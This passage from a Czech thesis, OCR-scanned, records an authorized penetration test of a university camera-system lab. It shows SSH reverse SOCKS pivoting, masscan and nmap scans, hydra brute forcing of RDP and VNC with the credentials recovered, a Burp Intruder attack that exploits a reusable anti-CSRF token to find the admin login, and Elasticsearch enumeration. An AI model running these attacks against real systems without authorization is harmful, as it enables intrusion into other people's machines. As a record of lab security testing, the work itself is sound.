jeni do VPN (PaloAlto GlobalProtect) je vsak dostupny pouze pro opera¢ni systémy
Windows. Pristup testovaciho pocitace je tak do testovaciho prostredi zajistén po-

moci tzv. predavani portu (port forwarding).

'VMWare ESX Server https://www.vmware .com/products/esxi-and-esx.html
’https://www.paloaltonetworks.com/products/globalprotect
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Predavani portu lze realizovat nékolika zpusoby. Jednim z nich je pomoci proto-
kolu Secure Shell (SSH). SSH je server-klient protokol, tedy jeden pocita¢ vystupuje
jako server. Druhy pocitac iniciuje pripojeni, tim dojde k sestaveni zabezpeceného
spojeni. Spojeni si lze predstavit jako tunel, skrze ktery je mozné posilat sitovy

provoz. Predavani porti ma 3, respektive 4, mozné scénare.

3.2.1 Lokalni predavani portt

Na strané klienta je otevien jeden novy port, na ktery je mapovan jeden port na
strané serveru. V pripadé piikazu ssh se lokalni pfedavani porttt provadi pomoci

prepinace -L. Syntax pouziti prepinace je uveden ve vypisu 3.1.

Vypis 3.1: Syntax prepinace -L

-L [localAddress:]localPort:remoteAddress:remotePort

Parametr localAddress odkazuje na IP adresu nékterého sitového rozhrani kli-
enta, parametr localPort oznacuje novy port, ktery bude otevien na strané klienta.
Parametr remoteAddress odkazuje na IP adresu sitového rozhrani dostupného ze
serveru (jakakoliv IP adresa pristupnd ze serveru), parametr remotePort oznacuje
port, na ktery bude sitova komunikace preposilana.

Ve vypisu 3.2 je uveden priklad pouziti prepinace -L v ptikaze ssh. V uvedeném
prikladu je na strané klienta otevien port 1234, ktery bude dostupny na vsSech IP
adresach lokalnich sitovych rozhranich. Na tomto portu bude dostupny port, ktery
se nachazi na adrese IP 192.168.1.105 na portu 4567.

Vypis 3.2: Priklad pouziti pfepinace -L

$ ssh <username>Q@<server> -L 1234:192.168.1.105:4567

3.2.2 Vzdalené predavani porti

Na strané serveru je otevien jeden novy port, na ktery je mapovan jeden port na
strané klienta. V pripadé prikazu ssh se vzdalené predavani porti provadi pomoci

prepinace -R. Syntax pouziti prepinace je uveden ve vypisu 3.3.

Vypis 3.3: Syntax prepinace -R

-R [localAddress:]localPort:remoteAddress:remotePort

Parametr 1localAddress odkazuje na IP adresu nékterého sifového rozhrani ser-
veru, parametr localPort oznacuje novy port, ktery bude otevien na strané ser-

veru. Parametr remoteAddress odkazuje na IP adresu sitového rozhrani dostupného

Ve vypisech je v hranatych zavorkach (,,[]“) uveden nepovinny parametr.
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z SSH klienta (jakakoliv IP adresa pristupna z SSH klienta), parametr remotePort
oznacuje port, na ktery bude sitova komunikace preposilana.

Ve vypisu 3.2 je uveden priklad pouziti prepinace -R v ptikaze ssh. V uvedeném
prikladu je na strané serveru otevien port 1234, ktery bude dostupny na vsech IP
adresach lokalnich sitovych rozhranich. Na tomto portu bude dostupny port, ktery
se nachazi na IP adrese 192.168.1.105 na portu 4567.

Vypis 3.4: Priklad pouziti prepinace -R

$ ssh <username>@<server> -R 1234:192.168.1.105:4567

3.2.3 Dynamické predavani porti

Na strané klienta je otevien novy port, ktery se chova jako tzv. ,SOCKS proxy*“.
V soucasné dobé umoznuje SSH SOCKS4 a SOCKSb5. V pripadé ptikazu ssh se
dynamické predavani portt provadi pomoci prepinace -D. Syntax pouziti prepinace

je uveden ve vypisu 3.5.

Vypis 3.5: Syntax prepinace -D

-D [localAddress:]localPort

Parametr localAddress odkazuje na IP adresu nékterého sitového rozhrani kli-
enta, parametr localPort oznacuje port, ktery bude pouzit pro tunelovani sitového
provozu.

Ve vypisu 3.6 je uveden priklad pouziti prepinace -D v ptikaze ssh. V uvedeném
prikladu je na strané klienta otevien port 1234. Tento port je poté mozné vyuzivat
jako SOCKS proxy.

Vypis 3.6: Priklad pouziti ptepinace -D

$ ssh <username>Q@<server> -D 1234

OpenSSH? piedstavilo ve verzi 7.6 moZnost reverzniho dynamického pfedavani
portl, od této verze lze pouzivat SSH klienta k otevieni nového portu na strané
serveru, ktery bude slouzit jako SOCKS proxy. Tuto funkci lze vyuzivat bez nutnosti

aktualizace SSH serveru.

Vypis 3.7: Syntax prepinace -R pro reverzni dynamické predavani porta

-R [remoteAddress:]remotePort

Parametr remoteAddress odkazuje na IP adresu nékterého sifového rozhrani
serveru, parametr remotePort oznacuje port, ktery bude pouzit pro tunelovani si-

tového provozu.

Ve vypisech je v hranatych zavorkach (,,[]1%) uveden nepovinny parametr.
3https://wuw.openssh.com/
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Ve vypisu 3.8 je uveden priklad pouziti prepinace -R k otevieni portu 1234 na

strané serveru, ktery bude mozné vyuzivat jako SOCKS proxy.

Vypis 3.8: Priklad pouziti pfepinace -R pro reverzni dynamické predavani porti

$ ssh <username>@<server> -R 1234

Reverzni dynamické predavani porti je pouzito k vytvoreni SOCKS proxy na tes-
tovacim pocitacovém systému (virtualizovany Kali Linux). Pfes toto proxy je mozné
pripojeni do testovaciho prostfedi. Presné znéni prikazu pro pripojeni testovaciho

pocitace do testovaciho prostredi je uveden ve vypisu 3.9

Vypis 3.9: Pripojeni testovaciho pocitace do VPN PaloAlto GlobalProtect

PS C:\> ssh redirect@<Kali Linux VM IP> -R 1080 -N

Ve vypisu 3.9 je navic pouzit prepinac¢ -N, ktery znemozni vzdalené spousténi
prikazi a pouziva se jen pro predavani portii. Vzhledem k nastaveni ictu redirect na
virtualnim stroji Kali Linux neni mozné se na tento ucet pripojit pres SSH bez pou-
ziti tohoto prepinace. Proto je nezbytné nutné pouzit i tento prepinac¢ pro vytvoreni
funkéniho SOCKS proxy.
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4 Popis postupu penetracniho testu kame-
rového systému

Tato kapitola se vénuje prvotnim fazim penetracniho testovani. V navaznosti na
vysledky skenovani jednotlivych ¢asti kamerového systému bude zvolena vhodna

metodologie nasledujicich testii.

4.1 Predbézné interakce

Pro potieby testovani byl ve webové aplikaci vytvoren uzivatelsky ucet. Ptihlaso-
vaci udaje tohoto 1i¢tu jsou student:student. Dale byl testerovi umoznén pristup
ke zdrojovym kodim webové aplikace. Vzdaleny pristup na pocitacové systémy ka-
merového systému nebyl testerovi udélen.

Cilem testovani je zjistit, zdali je mozné eskalovat opravnéni z bézného uziva-
telského t¢tu na administratorsky tcet v ramci webové aplikace, popripadé jinak

kompromitovat jednotlivé pocitacové systémy.

4.2 Enumerace kamerového systému

Ke skenovani portti byly pouzity néstroje nmap a masscan. Nejprve byly zjistény
pomoci nastroje masscan vsechny oteviené porty. Prikazy pouzité ke skenovani jed-
notlivych pocitacovych systému kamerového systému jsou i s vystupy uvedeny ve
vypisu 4.1. Kazdy prikaz byl posilan ptes SOCKS proxy vytvorené pomoci SSH.

K tomu byl pouzit ndstroj proxychains’.

Vypis 4.1: Vystup nastroje masscan pro jednotlivé pocitace kamerového systému

$ proxychains -q masscan 192.168.5.103 -p1-65535

Starting masscan 1.3.2 (http://bit.1ly/14GZzcT) at 2021-11-28
16:50:59 GMT

Initiating SYN Stealth Scan

Scanning 1 hosts [65535 ports/host]

Discovered open port 6001/tcp on 192.168.5.103

Discovered open port 22/tcp on 192.168.5.103

Discovered open port 9200/tcp on 192.168.5.103

Discovered open port 7000/tcp on 192.168.5.103

Discovered open port 5901/tcp on 192.168.5.103

Discovered open port 9300/tcp on 192.168.5.103

INé4stroj proxychains byl pouzit pro veskerou interakci s virtudlnimi stroji testovaného kame-
rového systému. Pro lepsi prehlednost nebude ve vSech nasledujicich vypisech nastroj proxychains

zminén.
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Discovered open port 9042/tcp on 192.168.5.103

$ proxychains -q masscan 192.168.5.104 -p1-65535

Starting masscan 1.3.2 (http://bit.1ly/14GZzcT) at 2021-11-28
16:26:15 GMT

Initiating SYN Stealth Scan

Scanning 1 hosts [65535 ports/host]

Discovered open port 22/tcp on 192.168.5.104

Discovered open port 7000/tcp on 192.168.5.104

Discovered open port 9200/tcp on 192.168.5.104

Discovered open port 5901/tcp on 192.168.5.104

Discovered open port 9300/tcp on 192.168.5.104

Discovered open port 9042/tcp on 192.168.5.104

Discovered open port 6001/tcp on 192.168.5.104

$ proxychains -q masscan 192.168.5.105 -p1-65535

Starting masscan 1.3.2 (http://bit.1ly/14GZzcT) at 2021-11-28
15:39:14 GMT

Initiating SYN Stealth Scan

Scanning 1 hosts [65535 ports/host]

Discovered open port 7680/tcp on 192.168.5.105

Discovered open port 443/tcp on 192.168.5.105

Discovered open port 5040/tcp on 192.168.5.105

Discovered open port 63661/tcp on 192.168.5.105

Discovered open port 22/tcp on 192.168.5.105

Discovered open port 3389/tcp on 192.168.5.105

K podrobnéjsimu skenovani porti byl pouzit néstroj nmap s pfepinaci -sC pro
pouziti vychozich skripti, -sV pro identifikaci verzi bézicich sluzeb a -sT, ktery
zajistuje dokonceni TCP-Handshaku, coz je nutnosti pii skenovani ptes pivot-point,
kterym je v pripadé tohoto testovani hostitelsky systém. Vystup nastroje nmap pro
jednotlivé pocitacové systémy kamerového systému jsou uvedeny ve vypisech 4.2,
4.3 a4.4.

Vypis 4.2: Zkraceny vystup nastroje nmap pro Databazovy server 1

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6pl Ubuntu 4ubuntul0.5 (
Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

____8<____

5901/tcp open vnc VNC (protocol 3.8)

| vnc-info:

| Protocol version: 3.8

| Security types:

| VNC Authentication (2)

6001/tcp open X11 (access denied)
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7000/ tcp open afs3-fileserver?

| _irc-info: Unable to open connection

9042/tcp open cassandra-native Apache Cassandra 3.10 or later (
native protocol versions 3/v3, 4/v4, 5/vb-beta)

9200/ tcp open http Elasticsearch REST API 6.2.3 (name:

192.168.5.103; cluster: AZDcluster; Lucene 7.2.1)

| http-methods:

|_ Potentially risky methods: DELETE

| _http-title: Site doesn’t have a title (application/json; charset=
UTF-8) .

9300/ tcp open elasticsearch Elasticsearch binary API

Vypis 4.3: Zkraceny vystup nastroje nmap pro Databazovy server 2

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6pl Ubuntu 4ubuntul0.5 (
Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

____8<____

5901/tcp open vnc VNC (protocol 3.8)

| vnc-info:

| Protocol version: 3.8

| Security types:

| _ VNC Authentication (2)

6001/tcp open X11 (access denied)

7000/ tcp open afs3-fileserver?

| _irc-info: Unable to open connection

9042/tcp open cassandra-native Apache Cassandra 3.10 or later (
native protocol versions 3/v3, 4/v4, 5/vb-beta)

9200/ tcp open http Elasticsearch REST API 6.2.3 (name:

192.168.5.104; cluster: AZDcluster; Lucene 7.2.1)

| http-methods:

|_ Potentially risky methods: DELETE

| _http-title: Site doesn’t have a title (application/json; charset=
UTF-8) .

9300/ tcp open elasticsearch Elasticsearch binary API

Vypisy 4.2 a 4.3 jsou si velmi podobné. Oba tyto pocitacové systémy zastavaji
v kamerovém systému stejnou roli, proto se na nich da ocekavat spousta podobnosti.
Na obou systémech je otevieny port 22, na némz bézné nasloucha sluzba SSH. Jeden
z vychozich skriptl, které néstroj nmap pouziva, je banner. Jedna se o jednoduchou
techniku (tzv. ,Banner grabbing“), kterou lze ziskat tzv. ,banner® spusténé sluzby
a tim tuto sluzbu identifikovat. V banneru se ¢asto nachazi také verze dané sluzby.

Dalsimi otevienymi porty jsou 59012 a 6001, na kterych bé&zi sluzba Virtual Ne-

twork Computing (VNC). Tuto sluzbu lze povazovat za alternativu Remote Desktop

2Vychozim portem pro VNC je 5900 + N, kde N je éislem zobrazeni (Display Number)[24]
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Protocol (RDP) pro operac¢ni systémy z rodiny Linux.

Port 7000 je otevieny a nmap nebyl schopny s jistotou rozpoznat o jakou sluzbu
se jedna. Manualni interakce s timto portem nepfinesly zadné dalsi informace.

Na portu 9042 se nachazi NoSQL databaze Apache Cassandra. Porty 9200 a 9300
poskytuji Elasticsearch REST API a binarni API k této databazi.

Vypis 4.4: Zkraceny vystup nastroje nmap pro Webovy server

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH for_Windows_7.7 (protocol
2.0)

| ssh-hostkey:

____8<____

443/tcp open ssl/http Microsoft IIS httpd 10.0

| _http-server-header: Microsoft-IIS/10.0

| _http-title: Aderos

| ssl-cert: Subject: commonName=www.aderos.cz/organizationName=VUT/
stateOrProvinceName=cz/countryName=cz

| Subject Alternative Name: DNS:www.aderos.cz, IP Address
:192.168.5.101, DNS:www.aderos.cz

| Not valid before: 2021-04-14T11:56:00

| _Not valid after: 2023-06-22T11:56:00

| ssl-date: 2021-11-28T17:39:00+00:00; Os from scanner time.

| tls-alpn:

|_ http/1.1

3389/tcp open ms-wbt-server Microsoft Terminal Services

| rdp-ntlm-info:

| Target _Name: DESKTOP-BOVRI67

| NetBIOS_Domain_Name: DESKTOP-BOVRIG7

| NetBIOS_Computer _Name: DESKTOP-BOVRIG7

| DNS_Domain_Name: DESKTOP-BOVRIG67

| DNS_Computer _Name: DESKTOP-BOVRIG67

| Product_Version: 10.0.19041

| System_Time: 2021-11-28T17:38:45+00:00

| ssl-cert: Subject: commonName=DESKTOP-BOVRI67

| Not valid before: 2021-09-10T13:28:08

| _Not valid after: 2022-03-12T13:28:08

| ssl-date: 2021-11-28T17:39:00+00:00; Os from scanner time.

5040/tcp open unknown

7680/tcp open pando-pub?

63661/tcp open ssl/http Microsoft IIS httpd 10.0

| _http-server-header: Microsoft-IIS/10.0

| _http-title: Site doesn’t have a title.

| ssl-cert: Subject: commonName=www.aderos.cz/organizationName=VUT/
stateOrProvinceName=cz/countryName=cz

| Subject Alternative Name: DNS:www.aderos.cz, IP Address
:192.168.5.101, DNS:www.aderos.cz
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| Not valid before: 2021-04-14T11:56:00

| _Not valid after: 2023-06-22T11:56:00

| _ssl-date: 2021-11-28T17:39:00+00:00; Os from scanner time.
| tls-alpn:

|_ http/1.1

Na pocitacovém systému, jez slouzi jako webovy server, je otevieno 6 porti. Jsou
to porty 22, 443, 3389, 5040, 7680 a 63661.

Webova aplikace nasloucha na portu 443, coz je vychozi port pro protokol Hyper-
Text Transfer Protocol (HTTP) s podporou SSL?/TLS?. Tento protokol byva bézné
oznacovan jako HyperText Transfer Protocol Secure (HTTPS). Protokol HTTP(S)
se nejcastéji vyuziva ve verzi HTTP/1.1° nebo novéjsi verzi HTTP/2 ©.

Dale je ve vypise mozné spatrit oteviené porty pro vzdalenou spravu systému.
Témito porty jsou port 22, na kterém naslouchd sluzba SSH, a port 3389, na némz
bézi sluzba RDP.

Nastroj Nmap nebyl schopen s pfesnosti urcit sluzby bézici na portech 7680
a 5040. Na portu 7680 je obvykle provozovana sluzba Windows Update Delivery
Optimization (WUDO). Port 5040 spada do rozsahu porti, pro ktery standardizacni
organizace Internet Assigned Numbers Authority (IANA) nepridélila zadné konkrétni
sluzby. Manuélni interakce pomoci nastroje NetCat neprinesla zadné dalsi informace

0 béZici sluzbé.

3Secure Sockets Layer

4Transport Layer Security
Shttps://datatracker.ietf.org/doc/html/rfc7230
Shttps://datatracker.ietf.org/doc/html/rfc7540
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5 Analyza zranitelnosti a navrh metodologie
penetracniho testovani

Na zakladé vysledkt ziskanych béhem enumerace kamerového systému byly zvo-
leny vhodné metodologie penetracniho testovani pro jednotlivé ¢asti kamerového

systému. V této kapitole je zachycen postup penetracniho testovani.

5.1 Testovani vychozich nebo slabych prihlasovacich
udaji

K otestovani vychozich nebo snadno uhodnutelnych ptihlasovacich tidajt byl pouzit
priméarné nastroj hydra. Testovani probéhlo simulaci slovnikového titoku. K simulaci
utoku byly pouzity slovniky pro béZna hesla z repozitédfe SecLists!, které NIST
doporucuje pro testovani ,Spatnych hesel“ (Bad Passwords). Simulace utoku byla
zameérena na porty 3389 a 5901, na kterych bézi sluzby RDP a VNC. Dale byl

testovaci utok proveden také na prihlasovaci stranku webové aplikace.

5.1.1 Remote Desktop Protocol - port 3389

Ve vypise 5.1 je uveden priikaz pro pouziti néastroje hydra. Pfepina¢ -L slouzi
ke specifikovani slovniku pro uzivatelskd jména. Piikladem takového slovniku je
top-usernames-shortlist.txt, ktery obsahuje 17 nejbéznéjsich uzivatelskych jmen
a je k dispozici v rdmci repozitare SecLists. Slovnik neni prilis dlouhy a lze jej
tak pouzit i v pripadech, kdy neni zndmé zadné validni uzivatelské jméno. Pre-
pina¢ -P slouzi ke specifikovani slovniku pro hesla. Téchto slovnikt je podstatné
vétsi mnozstvi nez slovniki pro uzivatelska jména. Ptikladem takového slovniku
je 10-million-password-1list-top-10000.txt, ktery je také soucasti repozitare
SecLists.

Vypis 5.1: Prikaz k pouziti nastroje hydra pro testovani ptihlasovacich udaji pro
RDP

$ hydra rdp://192.168.5.105 -L users -P passwords

Po spusténi a vykonani prikazu jsou do konzole vypsany vysledky testu. Vystup

nastroje hydra je uveden ve vypisu 5.2

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Cred

entials
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Vypis 5.2: Vystup nastroje hydra pro testovani RDP prihlasovacich tdajt

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do
not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these *** ignore laws and

ethics anyway) .

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at
2022-03-13 11:56:50
[WARNING] rdp servers often don’t like many connections, use -t 1
or -t 4 to reduce the number of parallel connections and -W 1 or
-W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many
parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and
if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 170000 login
tries (1:17/p:10000), ~42500 tries per task
[DATA] attacking rdp://192.168.5.105:3389/
[3389] [rdp] host: 192.168.5.105 login: user password: user
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at
2022-03-13 11:56:52

Pomoci néstroje xfreerdp, ktery je soucéasti zédkladni instalace distribuce Kali
Linux, je mozné overit funkénost prihlaseni. Prikaz pouzity k ovéreni spravnosti

ziskanych prihlasovacich idaji je uveden ve vypise 5.3.

Vypis 5.3: Prikaz k pripojeni k RDP pomoci nastroje xfreerdp

$ xfreerdp /u:user /p:user /v:192.168.5.105

Prepina¢ /u: specifikuje uzivatelské jméno, prepinac¢ /p: specifikuje heslo pro
daného uzivatele, prepina¢ /v: specifikuje IP adresu vzdéleného pocitace.
Na obrazku 5.1 je vyobrazena uvitaci obrazovka, coz dokazuje spravnost odha-

lenych ptihlasovacich tdaju.
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FreeRDP: 192.168.5.105

Jiny uzivatel

Vitejte

Obr. 5.1: Uvitaci obrazovka vzdalené plochy

5.1.2 Virtual Network Computing - port 5901

VNC server je mozné nakonfigurovat tak, ze pri pokusu o pripojeni neprovadi auten-
tizaci, proto prvnim krokem testovani bylo ovéreni, zdali je mozné provést vzdalené
pripojeni bez nutnosti autentizace.

K tomuto tcelu byl pouzit nastroj remmina. Tento nastroj neni soucasti zakladni
instalace distribuce Kali Linux, proto je nutné jej nainstalovat. To lze provést pri-

kazem uvedenym ve vypise 5.4

Vypis 5.4: Prikaz k instalaci nastroje remmina

$ sudo apt install remmina

V tomto ptripadé VNC vyzaduje heslo, avsak nevyzaduje uzivatelské jméno. Jed-
nim z moznych vysvétleni je, ze uzivatelské jméno je definovano v konfigura¢nim sou-
boru serveru. Situace pri pokusu o pripojeni k VNC portu pomoci nastroje remmina

je vyobrazena na obrazku 5.2
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192.168.5.104:5901

(@ 192.168.5.104:5901 x

Enter VNC password

Password

Obr. 5.2: Pokus o pripojeni k otevienému portu 5901

Ve vypise 5.5 je uveden ptikaz k pouziti néstroje hydra k otestovani ¢asto po-
uzivanych hesel. Pfepina¢ -s specifikuje port, protoZe se nejedné o typicky port?
pouzivany pro VNC. Ptepinac¢ -P specifikuje pouzity slovnik s hesly. Protoze pti au-
tentizaci neni potfeba znalosti uzivatelského jména, je v tomto pfipadé mozné pouzit
vétsi slovnik, nez byl pouzit v pripadé pro testovani RDP. Prikladem takového slov-
niku je 10-million-password-1list-top-100000.txt z repozitare SecLists. Prepi-
na¢ -t uvadi pocet vlaken (v tomto pripadé 16), nasleduje IP adresa vzdéleného

pocitace. Na konci prikazu je uveden modul, ktery mé néstroj hydra pouzit.

Vypis 5.5: Prikaz k pouziti nastroje hydra pro testovani prihlasovacich tdaji pro
RDP

$ hydra -s 5901 -P passwords -t 16 192.168.5.104 vnc

Vystup nastroje hydra je uveden ve vypise 5.6.

2Problematika ¢islovani VNC portii byla vysvétlena v kapitole ,Aktivni sbér informaci®.
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Vypis 5.6: Vystup nastroje hydra pro testovani VNC prihlasovacich udaji

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do
not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these *** ignore laws and

ethics anyway) .

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at
2022-03-15 15:59:33

[DATA] max 4 tasks per 1 server, overall 4 tasks, 100000 login
tries (1:1/p:100000), ~25000 tries per task

[DATA] attacking vnc://192.168.5.104:5901/

[56901] [vnc] host: 192.168.5.104 password: useruser

[STATUS] attack finished for 192.168.5.104 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at
2022-03-14 16:10:52

Pro ovéreni spravnosti odhaleného hesla byl pouzit nastroj remmina. Nastaveni
pripojeni je vyobrazeno na obrazku 5.3. Stav po Uspésném pripojeni je zachycen na
obrazku 5.4.

Remote Connection Profile

Name Quick Connect
Group

Protocol (@ Remmina VNC Plugin
Basic Advanced Behavior SSH Tunnel Motes

Server 192.168.5.104:5901
Repeater

Username

User password ........|

Color depth True color (32 bpp)
Quality Good

Keyboard mapping

Cancel Default ave Connect Save and Connect

Obr. 5.3: Nastaveni parametl v néstroji remmina pro pripojeni k VNC
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Bakalarka VNC
[ Bakalarka VNC x

# @ Applications Places

&

rana
La Ly

user@UbuntuServerGUI: fusrjelassandra-6.2.3.31

assandra.config.Databas
mall commitlog volum
setting commitlog_total_s
a.yaml
WARN [main] org.apache. andra.config.Data

nly 12.179GiB f

capacity to your cluster or

INFO [main] org.apach
ipingPropertyFileSnit
ility

ser@UbuntuServerG...

Obr. 5.4: Okno s funkénim VNC pfipojenim

5.1.3 HyperText Transfer Protocol Secure - port 443

Prihlaseni do webové aplikace probiha vyplnénim webového formulare. Tento webovy
formular posila data formou POST pozadavku webové aplikaci, ktera ovéri zadané
prihlasovaci jméno a heslo. Na zakladé tohoto ovéreni povoli, nebo zamitne pristup.

Pro inspekci posilaného pozadavku byl pouzit nastroj Burpsuite, konkrétné pak
modul ,Repeater“. Na obrazku 5.5 je vyobrazen odchyceny POST pozadavek. V hla-
vickdch pozadavku je mozné si vSimnout Cookie hlavicky, kterd obsahuje .Asp-
NetCore.AntiForgery. Pozadavek v ¢asti ,POST data“ obsahuje pole UserName
a Password s poskytnutymi prihlasovacimi tdaji. Nasleduje pole __RequestVeri-
ficationToken. Tento token spolu s .AspNetCore.AntiForgery cookie zajistuje

ochranu pied ttoky typu CSRE3.

3Cross-Site Request Forgery
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Request Response

Obr. 5.5: POST pozadavek v modulu Repeater nastroje Burpsuite

Token __RequestVerificationToken je umistén v prihlasovacim formulari jako
skryté pole a jeho hodnota je vygenerovana pti kazdém nacteni stranky. Stejné tak
je pri kazdém nacteni prihlasovaci stranky vygenerovana hodnota ovérovaci cookie.
Obé tyto ndhodné vygenerované hodnoty jsou pak poslany spolu s prihlasovacimi
udaji POST pozadavkem. Webovy server ovéri platnost cookie a tokenu, pokud jsou
validni, tak zpracuje POST pozadavek. Pokud validni nejsou, tak webovy server
odpovi chybovym kédem 400 (Bad Request). Toto chovani je zachyceno na obrazcich

5.6 a 5.7 pri zaslani neplatné cookie, respektive tokenu.

Response

1Token=TINVALID- TOKEN

Obr. 5.6: POST pozadavek s neplatnym tokenem
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Request Response

Raw Hex =

Obr. 5.7: POST pozadavek s neplatnou cookie

Obvykle by zivotnost takovéto cookie a tokenu méla byt jedna, webovy server by
tedy nemél prijmout jiny pozadavek s jiz pouzitym parem cookie a tokenu. AvsSak
v piipadé testované webové aplikace tomu tak neni, proto je mozné poslat dalsi
POST pozadavek s jinymi prihlasovacimi tidaji a stejnym parem cookie a tokenu.

Toto chovani je vyobrazeno na obrazku 5.8

Request Response

Obr. 5.8: POST pozadavek s opétovné pouzitym tokenem

Pro modelaci slovnikového ttoku na prihlasovaci stranku je vhodné znat nejen
odpoveéd, kterou webovy server posila pti chybném prihlaseni, ale také tu, kterou
posila pti spravném prihlaseni. K ziskani odpovédi se spravnymi prihlasovacimi tdaji
byl pouzit testovaci 1cet viz kapitola 4.1. Odpovéd webového serveru na spravné
prihlasovaci tidaje je zachycena na obrazku 5.9. Obé odpovédi webového serveru
maji kdéd 302 Found, ale odpovéd v pripadé poskytnuti spravnych prihlasovacich
udaju je jiz na prvni pohled podstatné delsi. Pii detailnéjsim pohledu lze spattit

mezi hlavickami odpovédi dvé hlavicky Set-Cookie.
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Request Response

Raw Hex

orm-urlencoded

01 7bHMQj PERVWHaQ

Obr. 5.9: POST pozadavek s platnymi prihlasovacimi tdaji

Pro otestovani slabych ptihlasovacich udaju byl vyuzit modul ,Intruder® z na-
stroje Burpsuite. Protoze je mozné opétovné pouziti validacniho tokenu a kontrolni
cookie, neni nutné extrahovat z odpovédi webového serveru tento token a nastavovat
aktudlni cookie. Tim je nepatrné ulehéena konfigurace modulu Intruder. Konfigu-
race pozic a médu utoku je zachycena na obrazku 5.10. K testovani byl zvolen mod
,Cluster bomb“, ktery umoznuje nastavit rozdilné slovniky pro jednotlivé pozice
a nasledné iteruje jednotliva slova ze slovniku tak, Zze projde vSechny permutace
danych slovnikii.

7) Choosean attacktype

cktype:| Cluster bomt

ds wil be inserted, they can be added nto the targe as viell 25 the base request.

25f 2-CrDQU<271112D0148- VT 1pNLWYNG3gwBstKEBbCU  XnChVanoTkSOKEOZDti nbSSs 1vJ2PRNS] el

an-CfDI8LedLbNxYRhPkEmOF: 11 g5DbguZBAS L 1xEkZVH

Obr. 5.10: Konfigurace pozic a médu modulu Intruder v néstroji Burpsuite

V dalsim kroku byly nastaveny slovniky pro jednotlivé pozice, tedy pro pole
UserName a Password. Konfigurace slovnikii je vyobrazena na obrazcich 5.11 a 5.12.
Délky téchto slovniku jsou pro demonstrativni ucely zkraceny oproti slovnikiim po-
uzitych pri samotném testovani.

Po spusténi modulu Intruder jsou néstrojem Burpsuite prezentovany vysledky.
Okno s vysledky je zachyceno na obrazku 5.13. Pri sefazeni vysledki, podle délky
odpovédi, maji dva vysledky vyrazné delsi odpovédi nez ostatni. Jednim z téchto
vysledki jsou prihlasovaci tdaje pro testovaci ucet student. Druhym vysledkem

jsou prihlasovaci idaje pro ucet admin.
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Payload Sets
¥ou can define one or more pay
1

ipe: | Simple List

Payload Options [Simple list]

This p type g 2 a simple lis

Obr. 5.11: Konfigurace slovniku pro pole UserName

Payload Sets

pe: | Simple list

Payload Options [Simple list]

Deduplicate

Obr. 5.12: Konfigurace slovniku pro pole Password
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4. Intruder attack of https://192.168.5.105 - Temporary attack - Not saved to project file

Error Timeout

Obr. 5.13: Demonstrace vysledkt slovnikového titoku

Pro ovéteni spravnosti ziskanych prihlasovacich iidaju staci provést prihlaseni do
webové aplikace, jak je znazornéno na obrazku 5.14

VYSOKE UCENI
TECHNICKE ADEROS/KAMERY/pFehIEd

V BRNE

Razeni:
KAMERY L e

UDALOSTI
vaV1.0

piipojend napéti: oVvDC

VYSTRAHY 23.03.2022, 14:43 baterie: pripojena
0% vytiZeni: 23%

AN

STATISTIKA

ADMINISTRACE

o E-

Obr. 5.14: Prihlaseni do webové aplikace s i¢tem admin
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5.2 Testovani ElasticSearch REST API (porty 9200 a
9300)

Na otevrenych portech 9200 a 9300 se nachéazi REST API, respektive bindrni API,
sluzby ElasticSearch. Interakce s REST API jsou velice casto uskutecnovany pomoci
HTTP metod, tedy je mozné s takovym API komunikovat prostrednictvim bézného

prohlizece.

5.2.1 Enumerace REST API

PYi zadani IP adresy a pifslusného portu do prohliZe¢e server odpovi JSON* objek-

tem, jak je zobrazeno na obrazku 5.15.

&« C @ A 192.168.5.104:9201

(0 Kali Defaults Exploit-DB W CyberChef @ Revshells (§) PayloadsAllTheThings

Obr. 5.15: Prihlaseni do webové aplikace s i¢tem admin

Protoze se jedna o JSON, je vhodné pouzit nastroj jq, pomoci néhoz je mozné
formatovat a pomérné jednoduse dale zpracovavat JSON objekty. Priiklad pouziti
nastroje jq je uveden ve vypise 5.7, ve kterém je vystup ptrikazu curl presmérovan
do néstroje jq. Nasledné je pomoci nastroje jq vyextrahovan z JSON objektu pouze
nazev clusteru a verze ElasticSearch REST API. Obecné je pro hledani dokumentace

¢i zranitelnosti klicové identifikovat verzi spusténé sluzby.

4 JavaScript Object Notation
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Vypis 5.7: Extrakce ndzvu clusteru a verze ElasticSearch API

$ curl -s -X GET http://192.168.5.104:9200 | jq ’. | {cluster_name,
"number": .version ["number"]}’
{
"cluster_name": "AZDcluster",
"number": "6.2.3"
}

Podrobné informace o clusteru lze ziskat zaslanim GET pozadavku na koncovy
bod /cluster/state. Koncovy bod /_cat/*® poskytuje nékteré informace v tex-
tovém formatu (podobné jako prikaz cat). Seznam vSech serverem podporovanych
koncovych bodi lze ziskat odeslanim GET pozadavku na koncovy bod /_cat, jak

je demonstrovano ve vypise 5.8.

Vypis 5.8: Vypis serverem podporovanych koncovych bodua

$ curl -s -X GET http://192.168.5.104:9200/ _cat

/ _cat/allocation

/ _cat/shards

/ _cat/shards/{index}

/ _cat/master

/ _cat/nodes

/ _cat/tasks

/ _cat/indices

/ _cat/indices/{index}
/_cat/segments
/_cat/segments/{index}
/ _cat/count

/ _cat/count/{index}

/ _cat/recovery
/_cat/recovery/{index}
/ _cat/health
/_cat/pending_tasks

/ _cat/aliases

/ _cat/aliases/{alias}
/_cat/thread_pool
/_cat/thread_pool/{thread_pools}
/_cat/plugins

/ _cat/fielddata

/ _cat/fielddata/{fields}
